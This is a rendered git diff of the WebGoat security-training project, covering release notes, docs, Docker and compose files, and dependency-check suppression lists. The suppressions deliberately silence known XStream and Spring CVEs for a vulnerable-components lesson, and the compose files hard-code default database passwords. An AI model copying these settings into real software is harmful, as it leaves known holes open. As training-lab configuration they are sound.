Or in a docker run it would (once this version is pushed into docker hub) look like this:
|
||||
|
||||
```Shell
|
||||
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
|
||||
```
|
||||
|
@ -1,34 +0,0 @@
|
||||
# Multi language support in WebGoat
|
||||
|
||||
WebGoat is mainly written in English, but it does support multiple languages.
|
||||
|
||||
## Default language selection
|
||||
|
||||
1. Current supported languages are: en, fr, de, nl
|
||||
2. The primary language is based on the language setting of the browser.
|
||||
3. If the language is not in the list of supported language, the language is English
|
||||
4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
|
||||
1. After switching a language you are back at the Introduction page
|
||||
|
||||
## Adding a new language
|
||||
|
||||
The following steps are required when you want to add a new language
|
||||
|
||||
1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
|
||||
1. Add the parts for showing the flag and providing the correct value for the flag= parameter
|
||||
2.
|
||||
2. Add a flag image to src/main/resources/webgoat/static/css/img
|
||||
1. See the main_new.html for a link to download flag resources
|
||||
3. Add a welcome page to the introduction lesson
|
||||
1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
|
||||
2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
|
||||
4. Translate the main labels
|
||||
1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
|
||||
2. Translate the label values
|
||||
5. Optionally translate lessons by
|
||||
1. Adding lang specifc adoc files in documentation folder of the lesson
|
||||
2. Adding WebGoatLabels.properties of a specific language if you want to
|
||||
6. Run mvn clean to see if the LabelAndHintIntegration test passes
|
||||
7. Run WebGoat and verify that your own language and the other languages work as expected
|
||||
|
||||
If you only want to translate more for a certain language, you only need to do step 4-8
|
296
RELEASE_NOTES.md
296
RELEASE_NOTES.md
@ -1,265 +1,4 @@
|
||||
# WebGoat release notes
|
||||
|
||||
## Version 2025.3
|
||||
|
||||
### 🐞 Bug fixes
|
||||
|
||||
- Changed URLs imply other exclusion filters for ZAP (#2052)
|
||||
- XSS lesson stage 12 (2 issues) (#1178)
|
||||
|
||||
### 🔄 Technical tasks
|
||||
|
||||
- bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
|
||||
- bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
|
||||
|
||||
## Version 2025.2
|
||||
|
||||
### 🐞 Bug fixes
|
||||
|
||||
- Fix SQL advanced lesson assignment 5 (#2047)
|
||||
|
||||
## Version 2025.1
|
||||
|
||||
### 🚀 New functionality
|
||||
|
||||
- Introduce Playwright for UI testing
|
||||
- Refactoring of core code
|
||||
|
||||
### 🐞 Bug fixes
|
||||
|
||||
- Introduce assignment progress (#2043)
|
||||
- Add test case for multiple users solving lessons (#2043)
|
||||
- Register user while already logged in as other user. (#2042)
|
||||
- Small updates and improvements in HTTP Basic lesson (#2024)
|
||||
- Improve HTTP basics lesson
|
||||
- Solve compiler warnings
|
||||
- Cleanup attack result and builder
|
||||
- Format all code according to SPDX
|
||||
- Fixed one invalid solution about CSRF attack (#2010)
|
||||
- Reset a lesson no longer removes all assignments
|
||||
- Hint labels showing default text regardless of localization (#1965)
|
||||
- Automatically solve XSS mitigation (#1957)
|
||||
- Remove implicit context path guessing (#1956)
|
||||
- JWT kid/jku lessons (#1949)
|
||||
- Fix password reset lesson (#1941)
|
||||
- Fix passing command line arguments (#1933)
|
||||
- Use banners correctly
|
||||
- Show boolean operators priority on `where` (#1902)
|
||||
- Remove WebGoat session object (#1929)
|
||||
- Reset form and quiz color on reset lesson (#1903)
|
||||
- XSS lesson typo
|
||||
- Copying file using `transferTo` sometimes fails. (#1862)
|
||||
- Fix report card (#1845)
|
||||
- Success if only Smith earn most salary (#1744)
|
||||
- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
|
||||
- Move CSRF to A3 (#1776)
|
||||
- Fix typo in SQLi blind case
|
||||
- Use $ instead of jQuery which is undefined (#1736)
|
||||
- Fix hidden links in MissingFunctionAC.html. (#1710)
|
||||
|
||||
### 🔄 Technical tasks
|
||||
|
||||
- Lots of dependency updates
|
||||
|
||||
## Contributors
|
||||
|
||||
Special thanks to the following contributors providing us with a pull request:
|
||||
|
||||
- François Capon
|
||||
- GoogTech HackHuang
|
||||
- Peter Potrowl
|
||||
- cap-dev0x
|
||||
- Benjamin Mouncer
|
||||
- Jeong Rok Suh
|
||||
- Rui Melo
|
||||
- Vandeputte Brice
|
||||
|
||||
## Version 2023.8
|
||||
|
||||
### 🚀 New functionality
|
||||
|
||||
- Consistent environment values and url references (#1677)
|
||||
- Show directly requested file in requests overview
|
||||
- Show creating time in file upload overview
|
||||
|
||||
### 🐞 Bug fixes
|
||||
|
||||
- Fix startup message (#1687)
|
||||
- Fix/state of software supply chain links (#1683)
|
||||
- Fix WebWolf UI (#1686)
|
||||
|
||||
### 🔄 Technical tasks
|
||||
|
||||
- bump actions/setup-java from 3 to 4 (#1690)
|
||||
- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
|
||||
- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
|
||||
|
||||
## Version 2023.5
|
||||
|
||||
### New functionality
|
||||
|
||||
- Implement JWT jku example (#1552)
|
||||
- Java 21 initial support (#1622)
|
||||
- improve MFAC lesson hint texts for a better user experience (#1424)
|
||||
- upgrade to Spring Boot version 3 (#1477)
|
||||
|
||||
### Bug fixes
|
||||
|
||||
- typo in WebGoad.txt (#1667)
|
||||
- search box moved and jwt encode/decode with little delay (#1664)
|
||||
- skip validation for JWT (#1663)
|
||||
- fixed issue in JWT test tool and added robot test (#1658)
|
||||
- Password reset link test condition more strict and move all WebWolf links to /WebWolf (#1645)
|
||||
- fix servers id (#1619)
|
||||
- potential NPE in the stored XSS assignment
|
||||
- crypto basics broken links
|
||||
- fixes the default change in trailing slash matching and address the affected assignments
|
||||
- hint that was breaking the template, causing hints from different assignments to mix (#1424)
|
||||
- HijackSession lesson template deprecated Tymeleaf attribute
|
||||
- Fix NPE in IDOR lesson
|
||||
- Add new assignment IT tests
|
||||
- XSS mitigation
|
||||
- Stored Cross-Site Scripting Lesson
|
||||
- Add Assignment7 Tests
|
||||
- Fix IDOR lesson
|
||||
- remove steps from release script (#1509)
|
||||
- robotframework fails due to updated dependencies (#1508)
|
||||
- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
|
||||
- Fix typo of HijackSession_content0.adoc
|
||||
- Restrict SSRF Regexes
|
||||
- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the
|
||||
FlagController
|
||||
|
||||
## Version 2023.4
|
||||
|
||||
### New functionality
|
||||
|
||||
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422).
|
||||
Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
|
||||
desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
|
||||
README.md for details on how to start it.
|
||||
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
|
||||
|
||||
### Bug fixes
|
||||
|
||||
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
|
||||
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
|
||||
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
|
||||
|
||||
## Version 2023.3
|
||||
|
||||
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year
|
||||
starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
|
||||
to use a new versioning scheme (https://calver.org/#scheme).
|
||||
|
||||
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we
|
||||
can make
|
||||
many more releases this year.
|
||||
|
||||
### New functionality
|
||||
|
||||
- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
|
||||
- Move away from multi-project setup:
|
||||
* This has a huge performance benefit when building the application. Build time locally is now
|
||||
`Total time: 42.469 s` (depends on your local machine of course)
|
||||
* No longer add Maven dependencies in several places
|
||||
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure
|
||||
the correct database connection.
|
||||
- More explicit paths in html files to reference `adoc` files, less magic.
|
||||
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes
|
||||
and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
|
||||
- Add WebWolf button in WebGoat
|
||||
- Move all lessons into `src/main/resources`
|
||||
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease
|
||||
the user experience.
|
||||
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
|
||||
- Simplify `Dockerfile` as we no longer need a script to start everything
|
||||
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
|
||||
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific
|
||||
user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment`
|
||||
for an example.
|
||||
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
|
||||
triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
|
||||
- Updated introduction lesson to WebWolf.
|
||||
- Added language switch for support for multiple languages.
|
||||
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port.
|
||||
We simplified this to just start on the specified port.
|
||||
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
|
||||
- Renaming of all packages and folders.
|
||||
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
|
||||
- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
|
||||
|
||||
### Bug fixes
|
||||
|
||||
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
|
||||
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
|
||||
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
|
||||
- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
|
||||
- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
|
||||
- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
|
||||
- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
|
||||
- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
|
||||
- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
|
||||
- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
|
||||
- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
|
||||
- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
|
||||
- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
|
||||
|
||||
## Version 8.2.2
|
||||
|
||||
### New functionality
|
||||
|
||||
- Docker image now supports nginx when browsing to http://localhost a landing page is shown.
|
||||
|
||||
### Bug fixes
|
||||
|
||||
- [#1039 jwt-7-Code review](https://github.com/WebGoat/WebGoat/issues/1039)
|
||||
- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
|
||||
- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
|
||||
|
||||
## Version 8.2.1
|
||||
|
||||
### New functionality
|
||||
|
||||
- New Docker image for arm64 architecture is now available (for Apple M1)
|
||||
|
||||
## Version 8.2.0
|
||||
|
||||
### New functionality
|
||||
|
||||
- Add new zip slip lesson (part of path traversal)
|
||||
- SQL lessons are now separate for each user, database are now per user and no longer shared across users
|
||||
- Moved to Java 15 & Spring Boot 2.4 & moved to JUnit 5
|
||||
|
||||
### Bug fixes
|
||||
|
||||
- [#974 SQL injection Intro 5 not solvable](https://github.com/WebGoat/WebGoat/issues/974)
|
||||
- [#962 SQL-Lesson 5 (Advanced) Solvable with wrong anwser](https://github.com/WebGoat/WebGoat/issues/962)
|
||||
- [#961 SQl-Injection lesson 4 not deleting created row](https://github.com/WebGoat/WebGoat/issues/961)
|
||||
- [#949 Challenge: Admin password reset always solvable](https://github.com/WebGoat/WebGoat/issues/949)
|
||||
- [#923 - Upgrade to Java 15](https://github.com/WebGoat/WebGoat/issues/923)
|
||||
- [#922 - Vulnerable components lesson](https://github.com/WebGoat/WebGoat/issues/922)
|
||||
- [#891 - Update the OWASP website with the new all-in-one Docker container](https://github.com/WebGoat/WebGoat/issues/891)
|
||||
- [#844 - Suggestion: Update navigation](https://github.com/WebGoat/WebGoat/issues/844)
|
||||
- [#843 - Bypass front-end restrictions: Field restrictions - confusing text in form](https://github.com/WebGoat/WebGoat/issues/843)
|
||||
- [#841 - XSS - Reflected XSS confusing instruction and success messages](https://github.com/WebGoat/WebGoat/issues/841)
|
||||
- [#839 - SQL Injection (mitigation) Order by clause confusing](https://github.com/WebGoat/WebGoat/issues/839)
|
||||
- [#838 - SQL mitigation (filtering) can only be passed by updating table](https://github.com/WebGoat/WebGoat/issues/838)
|
||||
|
||||
## Contributors
|
||||
|
||||
Special thanks to the following contributors providing us with a pull request:
|
||||
|
||||
- nicholas-quirk
|
||||
- VijoPlays
|
||||
- aolle
|
||||
- trollingHeifer
|
||||
- maximmasiutin
|
||||
- toshihue
|
||||
- avivmu
|
||||
- KellyMarchewa
|
||||
- NatasG
|
||||
- gabe-sky
|
||||
# WebGoat release notes
|
||||
|
||||
## Version 8.1.0
|
||||
|
||||
@ -267,30 +6,28 @@ Special thanks to the following contributors providing us with a pull request:
|
||||
|
||||
- Added new lessons for cryptography and path-traversal
|
||||
- Extra content added to the XXE lesson
|
||||
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve
|
||||
the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
|
||||
pull request on Github.
|
||||
- Docker improvements + docker stack for complete container with nginx
|
||||
- Included JWT token decoding and generation, since jwt.io does not support None anymore
|
||||
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github.
|
||||
- Docker improvements + docker stack for complete container with nginx
|
||||
- Included JWT token decoding and generation, since jwt.io does not support None anymore
|
||||
|
||||
### Bug fixes
|
||||
|
||||
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
|
||||
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
|
||||
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
|
||||
- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810)
|
||||
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
|
||||
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
|
||||
- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760)
|
||||
- [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
|
||||
- [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
|
||||
- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
|
||||
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
|
||||
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
|
||||
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
|
||||
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
|
||||
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
|
||||
|
||||
## Contributors
|
||||
|
||||
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
|
||||
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
|
||||
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
|
||||
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
|
||||
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
|
||||
|
||||
## Contributors
|
||||
|
||||
Special thanks to the following contributors providing us with a pull request:
|
||||
|
||||
- Satoshi SAKAO
|
||||
@ -305,4 +42,9 @@ Special thanks to the following contributors providing us with a pull request:
|
||||
|
||||
And everyone who provided feedback through Github.
|
||||
|
||||
|
||||
Team WebGoat
|
||||
|
||||
|
||||
|
||||
|
||||
|
12
buildspec.yml
Normal file
12
buildspec.yml
Normal file
@ -0,0 +1,12 @@
|
||||
version: 0.1
|
||||
|
||||
phases:
|
||||
build:
|
||||
commands:
|
||||
- mvn package
|
||||
|
||||
artifacts:
|
||||
files:
|
||||
- webgoat-server/target/webgoat-server-8.0-SNAPSHOT.jar
|
||||
discard-paths: yes
|
||||
|
@ -8,4 +8,4 @@
|
||||
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
|
||||
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
|
||||
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
|
||||
</suppressions>
|
||||
</suppressions>
|
@ -1,77 +1,42 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
|
||||
<suppress>
|
||||
<suppress base="true">
|
||||
<notes><![CDATA[
|
||||
This suppresses all CVE entries that have a score below CVSS 7.
|
||||
This suppresses false positives identified on spring framework.
|
||||
]]></notes>
|
||||
<cvssBelow>7</cvssBelow>
|
||||
<cpe>cpe:/a:pivotal_software:spring_framework</cpe>
|
||||
<cve>CVE-2020-5398</cve>
|
||||
</suppress>
|
||||
<suppress>
|
||||
<suppress base="true">
|
||||
<notes><![CDATA[
|
||||
file name: spring-tx-5.3.21.jar
|
||||
This suppresses false positives identified on spring framework.
|
||||
]]></notes>
|
||||
<sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
|
||||
<cve>CVE-2016-1000027</cve>
|
||||
</suppress>
|
||||
<suppress>
|
||||
<cpe>cpe:/a:redhat:undertow</cpe>
|
||||
<cve>CVE-2019-14888</cve>
|
||||
</suppress>
|
||||
<suppress base="true">
|
||||
<notes><![CDATA[
|
||||
file name: spring-core-5.3.21.jar
|
||||
This suppresses false positives identified on spring framework.
|
||||
]]></notes>
|
||||
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
|
||||
<cve>CVE-2016-1000027</cve>
|
||||
</suppress>
|
||||
<suppress>
|
||||
<notes><![CDATA[
|
||||
file name: spring-aop-5.3.21.jar
|
||||
]]></notes>
|
||||
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
|
||||
<cve>CVE-2016-1000027</cve>
|
||||
</suppress>
|
||||
<suppress>
|
||||
<notes><![CDATA[
|
||||
file name: spring-boot-starter-security-2.7.1.jar
|
||||
]]></notes>
|
||||
<packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
|
||||
<cve>CVE-2022-22978</cve>
|
||||
</suppress>
|
||||
<suppress>
|
||||
<notes><![CDATA[
|
||||
file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
|
||||
]]></notes>
|
||||
<packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
|
||||
<cpe>cpe:/a:pivotal_software:spring_security</cpe>
|
||||
<cve>CVE-2018-1258</cve>
|
||||
</suppress>
|
||||
<suppress base="true">
|
||||
<cpe>cpe:/a:jruby:jruby</cpe>
|
||||
<cpe>cpe:/a:openssl:openssl</cpe>
|
||||
</suppress>
|
||||
<suppress>
|
||||
<notes><![CDATA[
|
||||
file name: xstream-1.4.5.jar
|
||||
]]></notes>
|
||||
<packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
|
||||
<cve>CVE-2018-1000613</cve>
|
||||
<cve>CVE-2018-1000180</cve>
|
||||
<cve>CVE-2017-18640</cve>
|
||||
<cve>CVE-2011-4838</cve>
|
||||
</suppress>
|
||||
<suppress base="true"><!-- vulnerable components lesson -->
|
||||
<cpe>cpe:/a:xstream_project:xstream</cpe>
|
||||
<vulnerabilityName>CVE-2013-7285</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2016-3674</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2017-7957</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2020-26217</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2020-26258</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2020-26259</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21341</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21342</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21343</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21344</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21345</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21346</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21347</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21348</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21349</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21350</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-21351</vulnerabilityName>
|
||||
<vulnerabilityName>CVE-2021-43859</vulnerabilityName>
|
||||
</suppress>
|
||||
<suppress>
|
||||
<notes><![CDATA[
|
||||
file name: spring-jcl-5.3.21.jar
|
||||
]]></notes>
|
||||
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
|
||||
<cve>CVE-2016-1000027</cve>
|
||||
</suppress>
|
||||
<cve>CVE-2017-7957</cve>
|
||||
<cve>CVE-2016-3674</cve>
|
||||
<cve>CVE-2020-26217</cve>
|
||||
<cve>CVE-2020-26258</cve>
|
||||
</suppress>
|
||||
<suppress base="true"><!-- webgoat-server -->
|
||||
<cpe>cpe:/a:postgresql:postgresql</cpe>
|
||||
<cve>CVE-2018-10936</cve>
|
||||
</suppress>
|
||||
</suppressions>
|
||||
|
@ -1,10 +0,0 @@
|
||||
** Welcome to WebGoat desktop image
|
||||
|
||||
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
|
||||
You can start WebGoat and ZAP by opening a terminal and type:
|
||||
|
||||
./start_webgoat.sh
|
||||
./start_zap.sh
|
||||
|
||||
Happy hacking,
|
||||
Team WebGoat
|
@ -1,17 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
/config/java-jdk/bin/java \
|
||||
-Duser.home=/config \
|
||||
-Dfile.encoding=UTF-8 \
|
||||
-DTZ=Europe/Amsterdam \
|
||||
--add-opens java.base/java.lang=ALL-UNNAMED \
|
||||
--add-opens java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
|
||||
--add-opens java.base/java.text=ALL-UNNAMED \
|
||||
--add-opens java.desktop/java.beans=ALL-UNNAMED \
|
||||
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
|
||||
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
|
||||
--add-opens java.base/java.io=ALL-UNNAMED \
|
||||
--add-opens java.base/java.util=ALL-UNNAMED \
|
||||
-Drunning.in.docker=false \
|
||||
-jar /config/webgoat.jar
|
@ -1,3 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
/config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar
|
@ -1,4 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
1746
config/pmd/pmd-ruleset.xml
Normal file
1746
config/pmd/pmd-ruleset.xml
Normal file
File diff suppressed because it is too large
Load Diff
13
docker-compose-local.yml
Normal file
13
docker-compose-local.yml
Normal file
@ -0,0 +1,13 @@
|
||||
version: '2.1'
|
||||
|
||||
services:
|
||||
webgoat:
|
||||
image: webgoat/webgoat-v8.0.0.snapshot
|
||||
extends:
|
||||
file: docker-compose.yml
|
||||
service: webgoat
|
||||
webwolf:
|
||||
extends:
|
||||
file: docker-compose.yml
|
||||
service: webwolf
|
||||
image: webgoat/webwolf-v8.0.0.snapshot
|
40
docker-compose-postgres.yml
Normal file
40
docker-compose-postgres.yml
Normal file
@ -0,0 +1,40 @@
|
||||
version: '2.0'
|
||||
|
||||
services:
|
||||
webgoat:
|
||||
image: webgoat/webgoat-8.0
|
||||
user: webgoat
|
||||
environment:
|
||||
- WEBWOLF_HOST=webwolf
|
||||
- WEBWOLF_PORT=9090
|
||||
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat?user=webgoat&password=webgoat
|
||||
- spring.datasource.username=webgoat
|
||||
- spring.datasource.password=webgoat
|
||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL10Dialect
|
||||
- webgoat.server.directory=/home/webgoat/.webgoat/
|
||||
- webgoat.user.directory=/home/webgoat/.webgoat/
|
||||
ports:
|
||||
- "8080:8080"
|
||||
webwolf:
|
||||
image: webgoat/webwolf
|
||||
environment:
|
||||
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat?user=webgoat&password=webgoat
|
||||
- spring.datasource.username=webgoat
|
||||
- spring.datasource.password=webgoat
|
||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL10Dialect
|
||||
ports:
|
||||
- "9090:9090"
|
||||
webgoat_db:
|
||||
image: postgres:10.12
|
||||
# Uncomment to store the state of the database on the host.
|
||||
# volumes:
|
||||
# - ./database:/var/lib/postgresql
|
||||
environment:
|
||||
- POSTGRES_PASSWORD=webgoat
|
||||
- POSTGRES_USER=webgoat
|
||||
- POSTGRES_DB=webgoat
|
||||
ports:
|
||||
- "5432:5432"
|
||||
|
22
docker-compose.yml
Normal file
22
docker-compose.yml
Normal file
@ -0,0 +1,22 @@
|
||||
version: '3'
|
||||
|
||||
services:
|
||||
webgoat:
|
||||
image: webgoat/webgoat-8.0
|
||||
environment:
|
||||
- WEBWOLF_HOST=webwolf
|
||||
- WEBWOLF_PORT=9090
|
||||
- TZ=Europe/Amsterdam
|
||||
ports:
|
||||
- "8080:8080"
|
||||
- "9001:9001"
|
||||
volumes:
|
||||
- .:/home/webgoat/.webgoat
|
||||
working_dir: /home/webgoat
|
||||
webwolf:
|
||||
image: webgoat/webwolf
|
||||
ports:
|
||||
- "9090:9090"
|
||||
command: --spring.datasource.url=jdbc:hsqldb:hsql://webgoat:9001/webgoat --server.address=0.0.0.0
|
||||
depends_on:
|
||||
- webgoat
|
1
docker/.gitignore
vendored
Normal file
1
docker/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
*.jar
|
32
docker/Dockerfile
Normal file
32
docker/Dockerfile
Normal file
@ -0,0 +1,32 @@
|
||||
FROM openjdk:11.0.1-jre-slim-stretch
|
||||
|
||||
ARG webgoat_version=v8.2.0-SNAPSHOT
|
||||
ENV webgoat_version_env=${webgoat_version}
|
||||
|
||||
RUN apt-get update && apt-get install
|
||||
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
|
||||
RUN cd /home/webgoat/;
|
||||
RUN chgrp -R 0 /home/webgoat
|
||||
RUN chmod -R g=u /home/webgoat
|
||||
RUN apt-get -y install apt-utils nginx
|
||||
|
||||
USER webgoat
|
||||
|
||||
COPY nginx.conf /etc/nginx/nginx.conf
|
||||
COPY index.html /usr/share/nginx/html/
|
||||
COPY webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
|
||||
COPY webwolf-${webgoat_version}.jar /home/webgoat/webwolf.jar
|
||||
COPY start.sh /home/webgoat
|
||||
|
||||
EXPOSE 8080
|
||||
EXPOSE 9090
|
||||
|
||||
ENV WEBGOAT_PORT 8080
|
||||
ENV WEBGOAT_SSLENABLED false
|
||||
|
||||
ENV GOATURL https://127.0.0.1:$WEBGOAT_PORT
|
||||
ENV WOLFURL http://127.0.0.1:9090
|
||||
|
||||
|
||||
WORKDIR /home/webgoat
|
||||
ENTRYPOINT /bin/bash /home/webgoat/start.sh $webgoat_version_env
|
9
docker/Readme.md
Normal file
9
docker/Readme.md
Normal file
